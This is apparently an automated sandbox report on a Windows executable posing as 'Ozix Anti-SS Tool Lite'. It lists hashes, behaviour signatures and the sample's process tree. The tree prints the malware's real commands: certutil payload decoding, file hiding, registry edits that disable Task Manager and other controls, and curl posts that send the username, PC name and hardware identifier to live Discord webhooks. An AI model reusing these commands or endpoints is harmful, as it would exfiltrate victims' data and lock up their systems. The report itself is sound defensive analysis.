Analysis

  • max time kernel
    142s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/08/2024, 20:03

General

  • Target

    Ozix Anti-SS Tool Lite (32 bits) (1).exe

  • Size

    938KB

  • MD5

    f146fc6b0d7f3ad9ff8f14c8c8de6f6c

  • SHA1

    48923c0d8b4d4ce6f4663993d453821ae55e6197

  • SHA256

    1a6328b1da373a3e57e714ea983371a60c92c74600bbc78f509548e1272903b5

  • SHA512

    84f402f35e9daafea7f3bf9cf53c5421210d88981796336d2fc9c56ac80dd6a112325420b7306b00cdb371b9a095ce9307a9064ec00c29401961f6d3a5d9ea8a

  • SSDEEP

    12288:/1IAPjcS1lXlLL8O7NRfNCCZwIMWjXYpoNfSQR2U6iyxBmiKJ1P1Dzx:/SGcS1lXlLL80ZwIvJfR2Ujy81dJ

Malware Config

Signatures

  • Disables Task Manager via registry modification
  • Manipulates Digital Signatures 1 TTPs 3 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

    Payload decoded via CertUtil.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in System32 directory 4 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry key 1 TTPs 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Ozix Anti-SS Tool Lite (32 bits) (1).exe
    "C:\Users\Admin\AppData\Local\Temp\Ozix Anti-SS Tool Lite (32 bits) (1).exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if exist "%appdata%\Microsoft\Protect\KFICND.dll" (DEL /F/Q "%appdata%\Microsoft\Protect\KFICND.dll") >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4536
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if exist "%appdata%\Microsoft\Protect\KFICND.bat" (DEL /F/Q "%appdata%\Microsoft\Protect\KFICND.bat") >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1792
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -decode "%appdata%\Microsoft\Protect\KFICND.dll" "%appdata%\Microsoft\Protect\KFICND.bat" >nul
      2⤵
      • Deobfuscate/Decode Files or Information
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\SysWOW64\certutil.exe
        certutil -decode "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\KFICND.dll" "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\KFICND.bat"
        3⤵
        • Manipulates Digital Signatures
        • Deobfuscate/Decode Files or Information
        • System Location Discovery: System Language Discovery
        PID:4300
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c call "%appdata%\Microsoft\Protect\KFICND.bat"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3116
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if exist "%appdata%\Microsoft\Protect\KFICND.dll" (DEL /F/Q "%appdata%\Microsoft\Protect\KFICND.dll") >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:312
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if exist "%appdata%\Microsoft\Protect\KFICND.bat" (DEL /F/Q "%appdata%\Microsoft\Protect\KFICND.bat") >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1524
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Attrib -S -H ""%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll"" >nul
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Windows\SysWOW64\attrib.exe
        Attrib -S -H ""C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll""
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:1156
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Attrib -S -H ""%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat"" >nul
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1616
      • C:\Windows\SysWOW64\attrib.exe
        Attrib -S -H ""C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat""
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:4940
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if exist "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll" (DEL /F/Q "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll") >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:216
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if exist "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat" (DEL /F/Q "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat") >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2940
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -decode "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll" "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat" >nul
      2⤵
      • Deobfuscate/Decode Files or Information
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4964
      • C:\Windows\SysWOW64\certutil.exe
        certutil -decode "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll" "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat"
        3⤵
        • Deobfuscate/Decode Files or Information
        • System Location Discovery: System Language Discovery
        PID:212
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Attrib +S +H ""%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat"" >nul
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4448
      • C:\Windows\SysWOW64\attrib.exe
        Attrib +S +H ""C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat""
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:3448
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Attrib +S +H ""%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll"" >nul
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3916
      • C:\Windows\SysWOW64\attrib.exe
        Attrib +S +H ""C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll""
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:1500
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c call "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat"
      2⤵
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2896
      • C:\Windows\SysWOW64\mode.com
        mode 83,33
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2784
      • C:\Windows\SysWOW64\reg.exe
        Reg.exe query "HKU\S-1-5-19\Environment"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5004
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2536
      • C:\Windows\SysWOW64\curl.exe
        curl -X POST -H "Content-type: application/json" --data "{\"content\": \"**-----------------------------------------------------------------------------------------------**\n*Nuevo Ingreso en Ozix Anti-SS Tool Lite v2.1* (**32 Bits**)\n__**USERNAME**__: Admin\n__**PC Name**__: ODZKDRGV\n__**Session**__: Console\n__**Identifier**__: AMD64 Family 6 Model 13 Stepping 2, AuthenticAMD\n__**Time**__: 20:03:43.32\n**-----------------------------------------------------------------------------------------------**\n\"}" https://discord.com/api/webhooks/1031053923550769213/xKAv5SestPI63JM37-zmpSd8RKLbv11wUssMU-gabSlZYd28aV_89-ECbyd-m7RryghP
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:4124
      • C:\Windows\SysWOW64\curl.exe
        curl -X POST -H "Content-type: application/json" --data "{\"content\": \"**-----------------------------------------------------------------------------------------------**\n*Nuevo Ingreso en Ozix Anti-SS Tool Lite v2.1* (**32 Bits**)\n__**USERNAME**__: Admin\n__**PC Name**__: ODZKDRGV\n__**Session**__: Console\n__**Identifier**__: AMD64 Family 6 Model 13 Stepping 2, AuthenticAMD\n__**Time**__: 20:03:44.48\n**-----------------------------------------------------------------------------------------------**\n\"}" https://discord.com/api/webhooks/1031010612379127858/Q5wjGCNup4XFH9V7EC2pdmSBWWOa7uRozKfMmDnnKX9Qr792SZtMpunaW9GHhM3FwHyQ
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:2824
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:04 /R "^$" " You are logged in " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2980
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:C /R "^$" " Admin " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2348
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:F /R "^$" " _____________________________________________________ " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4368
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:F /R "^$" " _____________________________________________________ " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1600
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:04 /R "^$" " You are logged in " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3628
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:C /R "^$" " Admin " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1084
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:F /R "^$" " _____________________________________________________ " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:864
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:F /R "^$" " _____________________________________________________ " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5020
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:04 /R "^$" " You are logged in " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4332
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:C /R "^$" " Admin " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4236
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:F /R "^$" " _____________________________________________________ " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1964
      • C:\Windows\SysWOW64\findstr.exe
        findstr /v /a:F /R "^$" " _____________________________________________________ " nul
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4548
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:4432
      • C:\Windows\SysWOW64\reg.exe
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:4328
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:1872
      • C:\Windows\SysWOW64\reg.exe
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:3452
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:4860
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:2108
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:540
      • C:\Windows\SysWOW64\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:4732
      • C:\Windows\SysWOW64\tasklist.exe
        tasklist
        3⤵
        • Enumerates processes with tasklist
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3316
      • C:\Windows\SysWOW64\find.exe
        find /I "ProcessHacker.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3956
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Attrib -S -H ""%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll"" >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4352
      • C:\Windows\SysWOW64\attrib.exe
        Attrib -S -H ""C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll""
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2060
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Attrib -S -H ""%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat"" >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4316
      • C:\Windows\SysWOW64\attrib.exe
        Attrib -S -H ""C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat""
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:916
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if exist "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll" (DEL /F/Q "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.dll") >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2652
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c if exist "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat" (DEL /F/Q "%appdata%\Microsoft\Protect\nul\\Ozix Anti-SS Tool Lite.bat") >nul
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1896

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\KFICND.bat

          Filesize

          174B

          MD5

          6ef23a73bb6f911d522ea5fb934cb4b3

          SHA1

          e59665f75c29d41090bf604f5b2dd387400b4436

          SHA256

          62000a9ca00d44d4602306c795081f6ccf2c15724911874b51d16949c6759614

          SHA512

          8d4eabced6f579e53410f08aa50407fe6a980b6d66a7e2e0f3b8509aa780ef50654b67623dc0dba865ebc0f22b764f8043c89a62cb4c7c1f071f462c406764ab

        • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\KFICND.dll

          Filesize

          296B

          MD5

          141d051bfa65caae138c60e613691bcc

          SHA1

          f6986986d303669b3b1d09317101b67fe33da8bc

          SHA256

          f98f27dd854a8806013c88248b51fe66efbf19112cde22dac3c21ac820e6bac9

          SHA512

          b76c8896faed2dd42fa617e41533acefbec483a17b80005982d5c92b15aeada46536572b223e508b298480aa90943f3e9a29b575596d5ce7a34e7780121e2afe

        • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\Ozix Anti-SS Tool Lite.bat

          Filesize

          55KB

          MD5

          1a15abb19c71bce1a26d149101e8baf0

          SHA1

          353c44e42ebce39a0efefa1bb392473b60ba8e53

          SHA256

          271d6c6a4e300c442296c4d48d1d94da9d426d53979ef28509f914aafae2d2b7

          SHA512

          a2a921b454317aec8ed6dd6e78c36b6887da6ffe675f146df4ef0dfcb16e7bb0b90b9cc59f8fb00f7463be94745e8566829b1c23a19b1027deb7058d888cf978

        • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\nul\Ozix Anti-SS Tool Lite.dll

          Filesize

          76KB

          MD5

          58f8317cb130ad549383b121c39a5905

          SHA1

          e761de80b0e944bd168bc7e74f9df6cce8fa1fac

          SHA256

          4f4189cfb69c45b7e919222cc0e8de5b81cd49a0a1ee882c165a1ca467d00462

          SHA512

          1cba75eaadf87869af340ac37b369794f1ab90332fcb00a5949fbc06e45f75ec1ef3b0a513ddedb1f47f828a9635e22f817f986632f7b3222e9f16115592de05

        • C:\Windows\SysWOW64\ You are logged in

          Filesize

          3B

          MD5

          df66fa563a2fafdb93cc559deb0a38c4

          SHA1

          e6666cf8574b0f7a9ae5bccee572f965c2aec9cb

          SHA256

          3e39ed22dc63246937c4dbbf34ce4fb1cfe6b00de7596b020cad49ae50031351

          SHA512

          34ea05ee75cd840a94526411777868edb293a69867e1fdc2c2e917d278a3d58fcb86afc65142f4b184ce6907f04fb254a86061cfb620f01874b0b454a6f01c18

        • memory/1908-33-0x0000000000400000-0x00000000004F5000-memory.dmp

          Filesize

          980KB